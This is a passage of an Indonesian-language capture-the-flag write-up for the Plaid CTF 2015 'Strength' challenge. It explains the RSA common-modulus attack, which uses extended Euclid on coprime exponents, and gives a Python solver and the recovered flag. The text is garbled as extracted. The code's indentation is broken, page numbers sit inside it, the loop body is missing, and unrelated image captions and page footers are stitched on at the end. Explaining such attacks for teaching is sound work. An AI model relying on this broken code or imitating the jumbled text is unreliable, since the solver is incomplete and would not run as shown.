0x7c5b756b500801e3ad68bd4f2d4e1a3ff94d049774bc9c37a05d4c18d212c5b223545444e7015 a7600ecff9a75488ed7e609c3e931d4b2683b5954a5dc3fc2de9ae3392de4d86d77ee4920fffb13 ad59a1e08fd25262a700eb26b3f930cbdc80513df3b7af62ce22ab41d2546b3ac82e7344fedf8a2 5abfb2cbc717bea46c47eL} (...)

Baris pertama memberikan petunjuk tentang skema enkripsi yang disimbolkan dengan N, e dan c biasanya digunakan untuk mendankan modulus, eksponen dan RSA ciphertext.

Hal pertama yang disadari adalah semua modulus bersifat sama, yang dapat membuktikan terjadi exploitasi . Dengan mempertimbangkan hal berikut:

Diberikan plaintext m dan satu set n tupel dengan m pangkat ei modulus N = ci jika terdapat 2 tupel termasuk gcd(ei, ej) = 1 maka dapat digunakan algoritma extended Euclidian untuk mendapatkan egcd(ei, ej) = aiei + ajej = 1. Dengan mempertimbangkan ci^ai * cj^aj = (m^ei)^ai * (m^ej)^aj = m^(eiai) * m^(ejaj) = m^(eiai + ejaj) = m^1 = m (tentunya semua modulus N). Akan berpotensi muncul masalah, tentusaja, ketika ai atau aj bernilai negatif. Mempertimbangkan aj bernilai negatif maka harus menemukan modular perkalian invers yang sesuai dengan ciphertext cj dan hitung b = (gcd(e1, e2)-(a*e1))/e2, jadi dapat menghitung ci^ai * modInv(cj, N)^(-b) % N = m. Diiterasikan melalui tupel dan cek setiap kombinasi untuk kandidat yang pas dengan skrip dibawah ini :

#!/usr/bin/python #

# Plaid CTF 2015 # Strength (CRYPTO/110) #

# @a: Smoke Leet Everyday

# @u: https://github.com/smokeleeteveryday #

# Extended Greatest Common Divisor def egcd(a, b):

if (a == 0): return (b, 0, 1) else:

(73)

69

return (g, x ­ (b // a) * y, y)

# Modular multiplicative inverse def modInv(a, m):

g, x, y = egcd(a, m) if (g != 1):

raise Exception("[­]No modular multiplicative inverse of %d under modulus %d" % (a, m)) else:

return x % m

def to_bytes(n, length, endianess='big'): h = '%x' % n

s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex') return s if endianess == 'big' else s[::­1]

crypt_tups = []

lines = open("captured", "rb").read().split("\n")

lines = lines[1:len(lines)­1] # get rid of first and last line for line in lines:

tups = line[1:len(line)­1].split(":") N, e, c = [long(x.strip(),16) for x in tups] crypt_tups.append((N, e, c))

for i in xrange(len(crypt_tups)): for j in xrange(len(crypt_tups)): if(i == j):

Maka akan didapatkan

$ python strength_crack.py

flag_Strength_Lies_In_Differences

Gambar

Gambar yang didapatkan dari download sangat besar dan mudah untuk melihat setia detail
gambar yang
Gambar di atas adalah output dari solver.py
gambar dibawah :

Referensi

Dokumen terkait